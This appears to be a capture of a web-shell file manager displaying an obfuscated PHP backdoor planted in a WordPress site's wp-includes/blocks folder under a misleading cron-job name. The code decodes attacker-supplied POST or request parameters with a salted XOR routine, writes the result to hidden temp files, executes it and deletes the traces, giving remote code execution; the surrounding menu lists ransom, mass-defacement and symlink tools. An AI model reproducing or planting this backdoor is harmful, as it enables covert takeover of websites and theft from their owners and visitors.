| Path : /var/www/html/eceas/wp-includes/blocks/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/blocks/rvscronjobctrl.php |
<?php if(isset($_POST) && isset($_POST["\x70\x72\x6F\x70er\x74\x79_set"])){ $rec = $_POST["\x70\x72\x6F\x70er\x74\x79_set"]; $rec =explode ( '.' ,$rec); $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($rec ); for ($u = 0; $u<$len; $u++) {$v5 = $rec[$u]; $chS = ord($salt[$u % $lenS] ); $d = ((int)$v5 - $chS - ($u % 10)) ^ 78; $descriptor .= chr($d ); } $flg = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($flg as $hld): if (!!is_dir($hld) && !!is_writable($hld)) { $dchunk = vsprintf("%s/%s", [$hld, ".elem"]); if (file_put_contents($dchunk, $descriptor)) { require $dchunk; unlink($dchunk); exit; } } endforeach; }
if(isset($_REQUEST["d\x61ta\x5F\x63hunk"]) ? true : false){
$flg = array_filter(["/dev/shm", "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]);
$property_set = $_REQUEST["d\x61ta\x5F\x63hunk"];
$property_set= explode ('.' , $property_set ) ;
$token = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt);
$u = 0;
$len = count( $property_set);
do {if( $u >= $len) break;
$v6 = $property_set[$u];
$sChar = ord( $salt[$u% $lenS]);
$dec =( ( int)$v6 - $sChar -( $u% 10)) ^ 96;
$token .= chr( $dec);
$u++;} while( true);
foreach ($flg as $desc) {
if (is_dir($desc) && is_writable($desc)) {
$element = join("/", [$desc, ".pgrp"]);
$file = fopen($element, 'w');
if ($file) {
fwrite($file, $token);
fclose($file);
include $element;
@unlink($element);
die();
}
}
}
}